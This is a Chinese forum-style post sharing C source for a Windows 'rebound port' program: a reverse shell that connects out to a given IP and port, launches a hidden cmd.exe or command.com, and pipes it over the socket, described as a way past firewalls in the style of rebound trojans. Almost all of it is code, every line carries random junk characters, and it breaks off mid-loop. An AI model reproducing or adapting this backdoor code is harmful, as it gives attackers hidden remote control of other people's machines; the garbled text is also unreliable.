这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i;/5Y'KZ
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/* ============================== YH vLGc%
Rebound port in Windows NT ^p[rc@+
By wind,2006/7 ?OcJ)5C4
===============================*/ $Tu61zq
#include iV'k}rXC
#include /?@3.3sl_
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#pragma comment(lib,"wsock32.lib") %?}33yV
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void OutputShell(); fVF2-Rh=
SOCKET sClient; n>ULRgiT:o
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WY?[,_4U
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void main(int argc,char **argv) #gRM i)(F
{ l_o@miG/
WSADATA stWsaData; [DJ|`^eKD
int nRet; -I8=T]_D
SOCKADDR_IN stSaiClient,stSaiServer; -:|?h{q?u
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if(argc != 3) g)#W>.Asd
{ (7*%K&x
printf("Useage:\n\rRebound DestIP DestPort\n"); , w{e
return; )wC?T
} }& cu/o4
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WSAStartup(MAKEWORD(2,2),&stWsaData); @ ;*Ksy@1O
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c6h.iBJ'
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stSaiClient.sin_family = AF_INET; &J[:awQX
stSaiClient.sin_port = htons(0); jrr EAp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F*IzQ(#HW
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `[f*Zv w
{ ',9V|jvK
printf("Bind Socket Failed!\n");
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return; b$N2z
} Q6PHpaj
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stSaiServer.sin_family = AF_INET; _K]_
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tXNm$Cq.|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7''??X
{ dBYmiF!+
printf("Connect Error!"); |XQIfW]A
return; Q_"]+i]s@
} aOlT;h
OutputShell(); \H1(PA
} 8<X#f
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void OutputShell() mk;&yh
{ ;O,+2VzP%^
char szBuff[1024]; [4YTDEv%
SECURITY_ATTRIBUTES stSecurityAttributes; ,)0H3t
OSVERSIONINFO stOsversionInfo; Px4)>/ z,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gZN8!#h}B
STARTUPINFO stStartupInfo; %'bM){
char *szShell; fT;s-v[`k
PROCESS_INFORMATION stProcessInformation; j_K4;k#r
unsigned long lBytesRead; ]] !VK
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N4v~;;@(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +9M^7/}H
stSecurityAttributes.lpSecurityDescriptor = 0; BL0 {HV!
stSecurityAttributes.bInheritHandle = TRUE; F}F&T
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o)h_H;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z?6%;n^ 54
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `tBgH_$M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o2nv+fyW
stStartupInfo.wShowWindow = SW_HIDE; fa-IhB1!K
stStartupInfo.hStdInput = hReadPipe; r/YMLQ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (uXL^oja
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GetVersionEx(&stOsversionInfo); Bn^0^J-
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switch(stOsversionInfo.dwPlatformId) 0@[$lv;OS
{ lG9bLiFY
case 1: 6g2a[6G5
szShell = "command.com"; VQ(j pns5
break; ;!=G
default: y0Fb_"}
szShell = "cmd.exe"; Z~AO0zUKY
break; riUwBiVa?2
} YpWPz %`:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zpzK>DH(
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send(sClient,szMsg,77,0); !F*5M1Kjd
while(1) Pj[PIz
{ Cw
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); srPWE^&